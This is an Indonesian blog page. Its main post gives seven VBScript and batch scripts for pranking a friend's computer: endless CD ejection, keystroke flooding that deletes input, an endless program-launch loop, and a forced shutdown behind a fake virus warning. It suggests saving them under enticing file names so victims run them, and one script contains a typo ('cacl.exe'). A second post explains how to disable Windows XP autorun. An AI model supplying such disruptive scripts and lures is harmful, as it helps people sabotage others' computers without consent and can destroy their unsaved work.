Script Notepad Untuk Jahilin Temen

Selamat malam sobat blogger mau update lagi nih...kali saya memberikan tips untuk mengerjai teman anda..hehehe..Untuk mengerjainya kita hanya butuh notepad dan script kodenya saja. Silahkan lihat scriptnya di bawah ini : 


1. Meng-eject Drive CD-Room Terus-Menerus
Code:

Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

^
^
^
hati2 gan, klo keseringan bisa wafat tu kompie ..

2. Tombol Enter Terus-terusan Aktif 
Code:

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!
Code:

Code:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

5. Iseng Dengan Membuka Calculator Terus Menerus
Code:

Code:

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
Code:

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

7. Iseng Dengan Shutdown Komputer
Code:

Code:

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS)


NB : Jgn praktekan di komputer anda sendiri.

Semoga bermanfaat.

Baca Selengkapnya → Script Notepad Untuk Jahilin Temen

Cara Mematikan Autorun Windows XP

Komputer kita mungkin pernah atau sering kena virus. Walaupun dapat dihilangkan dengan menggunakan antivirus atau cara manual, registri windows kita telah menjadi rusak akibatnya. Ada kejadian seorang baru selesai meng-install ulang komputer sudah langsung kena virus. Dan mungkin kita merasa tidak pernah mengklik file-file yang mencurigakan. Penyebabnya adalah adanya virus yang diprogram untuk langsung running (autorun) ketika kita memasukkan data lewat flash disk, floppy disk dll. Contoh virus autorun ini seperti thumbdb.com dll.
Jangan cemas! Karena fasilitas autorun(autoplay) windows ini dapat dimatikan.
Caranya :

1. Jalankan RUN dengan menekan (ctrl+R) ketikan gpedit.msc
   
2. Jendela Group Policy akan terbuka, pilih menu pada bagian kiriComputer Configuration » Administraitive Templates » System
3. Lalu pada jendela sebelah kanan klik kiri dua kali pada bagianturn off autoplay
   
4. Kemudian akan muncul jendela turn off autoplay properties
5. lalu setting turn off pada tombol radio enabled, dan set untuk semua drive (All drives)
   
6. Ulangi langkah mulai no 2-5 di atas untuk bagian User Configuration » Administrative Templates » System

Bagi orang awam mungkin dengan mematikan autorun ini akan menyulitkan untuk langsung mengakses menu autoplay yang biasanya terdapat pada CD tuturial, dll.

Baca Selengkapnya → Cara Mematikan Autorun Windows XP